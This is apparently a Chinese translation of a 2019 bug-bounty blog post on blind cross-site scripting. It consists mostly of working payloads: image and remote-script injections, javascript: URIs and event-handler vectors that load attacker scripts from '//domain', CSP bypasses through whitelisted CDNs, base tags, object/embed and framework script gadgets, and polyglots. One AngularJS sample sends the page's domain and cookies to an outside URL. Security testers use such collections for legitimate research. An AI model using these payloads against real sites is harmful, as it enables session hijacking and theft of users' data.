Blind XSS发现指南
在挖掘安全漏洞的时候,我们往往不能面面俱到,会错过某些系统功能,导致漏洞被遗漏。这在寻找Blind Cross-Site-scripting (bXSS)时更是如此。
去年我曾写过一篇关于AngularJS bXSS的文章,分享我是如何利用AngularJS去进行bXSS攻击。而在这篇文章中,我想分享更多可用来检测bXSS的各种payload,希望能有效挖掘出后端系统中未曾被发现的bXSS。除此之外,我还想以自动化的方式进行检测,因此所提出的payload既可以在Burp中使用,也可以在xsshunter或其他bXSS自动化扫描工具中使用。
验证bXSS
在大多数情况下,确认bXSS存在的最简单的方法就插入一张“图像”,等待其渲染,捕获注入点。当然,有时网站会针对img-src
部署严格的内容安全策略(CSP),禁止从任意域加载图像。
<!-- Image for HTTP Interaction -->
"><img src='//domain/xss'>
而像Angular和AngularJS这样的框架,也肯定会清除不可信数据,虽然会保留和图像有关的HTML代码,但会移除event
处理代码。这就有点像是HTML注入。此时基于img-src
的攻击不太可能会生效,因为我们所控制的域不太可能通过白名单过滤。
下一种payload是更传统的引用外部javascript,利用第三方脚本来进行攻击,这种原始的方式有时也能生效:
<!-- External javascript -->
"><script src="//domain/xss.js"></script>
javascript URIS
也可以用于React应用,任何输入都可以查入到href路径中:
// javascript URI
javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)');
另一种方法是在href标签中注入包括javascript URI
在内的任意HTML。
<!-- javascript URI in a href -->
"><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
现在,让我们看看浏览器中有哪些我们可以利用的部分,SVG、HTML5、event handlers和CSS。
而网站HTML5Sec.org
也许能在这方面给你更明确的提示,它包含了大量的payload,可用来构建bXSS。
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - javascript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xm lns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
Matthew Byrant也为xsshunter编写了一些非常棒的payload,对于将某些恶意字符列入黑名单或使用jQuery的应用非常有效。
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getscript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
到目前为止,我们已经有了图像、外部javascript、javascript URI、a href、event handlers、SVG、JQuery等多种payload形式,并且我前期也介绍过基于AngularJS的bXSS;你还可以从诸如html5sec、Ed’s bug bounty-cheatsheet等大量网站中获得足够多的payload。
CSP
很久以前,浏览器的开发团队就引入了一些安全性控制,并且越来越强大,越来越复杂。在某些情况下,即使存在注入,但由于存在CSP,payload也无法生效!即使只是图片,来源不明的也不会加载。
好消息是有各种各样的CSP绕过。Lukas and Michelle的文章中记录了绕过CSP的各种方法。
不同的站点的CSP往往不同(当然有些网站可能会使用通用的模式),你可以把你的目标网站放到csp-evaluator.withgoogle.com
中进行查询,它会给你一些注入建议。
需要注意的是,CSP并不是用来防止用户数据泄露,只是用来定义应该加载和执行哪些域的资源。
让我们看看CSP在AngularJS是如何工作的:
<!-- Adapted from Gareth Heyes/sirdarkcat -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv=content-security-policy content="object-src 'none';script-src 'nonce-secret';">
<script nonce=secret src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
</head>
<body>
<div ng-app ng-csp>
<textarea autofocus
ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH?exfil='+$event.view.encodeURI(d.domain+';'+d.cookie)"></textarea>
</div>
</body>
</html>
可能会有部分敏感信息传输到你所控制的域中。
CDN
CSP中列入白名单的CDN地址是攻击者的主要利用目标之一,过去已有多起因白名单中的CDN被滥用而导致的CSP绕过的事件。因此,我们可以先收集CSP中的CDN名单,利用某些低版本框架(例如AngularJS的模板注入)实现bXSS注入。
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></di v>
base-src
base
标签也是我们可以利用的对象,它会把下面加载的所有脚本重定向到第三方网站!而且还包括有效的CSP nonce!
<!-- will change https://example.com/scripts/foo.js to https://domain/scripts/foo.js -->
"><base href="//domain">
<script nonce='secret' src='./scripts/foo.js'></script>
你需要做的就是配置好你的服务器,让特定通配符对应相应payload。
object-src
CSP的一个常见问题就是当object-src
未被定义时,可以利用embed,object或applet进行绕过,当然,由于浏览器安全性的改进,这些标签利用都变得很困难。
<!-- object-src is relaxed or missing adapted from https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22 -->
"><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain="})))}catch (e) { d = document; d.location.hash.match(`x1`) ? `` : d.location=`//localhost/mH`}//' allowscriptaccess=always>
"><object data='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch (e) { d = document; d.location.hash.match(`x1`) ? `` : d.location=`//localhost/mH`}//' allowscriptaccess=always>
script-src
如果CSP策略对于script-src
允许HTTPS、*、data等,则很容易绕过:
<!-- data scheme or wildcard in script-src -->
"><script src=data:text/javascript;base64,ZD1kb2N1bWVudDsgXyA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7Xy5pZD0nMTknO18ubm9uY2U9ZC5xdWVyeVNlbGVjdG9yKCdbbm9uY2VdJykubm9uY2U7Xy5zcmM9Jy8vbG9jYWxob3N0L20nO2QuYm9keS5hcHBlbmRDaGlsZChfKSA=></script>
<!-- https:// in script-src -->
"><script src='https://domain'></script>
script Gadgets
谷歌团队在2017年发布了关于script Gadgets的研究,其中介绍了绕过CSP的新方法。简单来说,就是script Gadgetst是合法的javascript代码,但可以用来实现HTML注入。这意味着像AngularJS、Vue、Aurelia等库/框架,都可用来进行bXSS攻击。script Gadgets由于其合法性,可被用来绕过CSP、XSS过滤器和WAF等。
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
payload列表可以通过谷歌团队的研究进一步扩展,其中涉及各种库和框架的多种利用方式。
适用多种场景的payload
考虑到注入代码可能出现在多种不同的场景下,我们需要使用可适用多种场景的payload。Mathias Karlsson的一篇文章详细介绍了如何创建多场景的payload,这可能是发现隐藏的bXSS的关键。
// Gareth Heyes - https://twitter.com/garethheyes
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
// clrf - http://polyglot.innerht.ml/
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>
感谢你的阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://ardern.io/2019/06/20/payload-bxss/
最新评论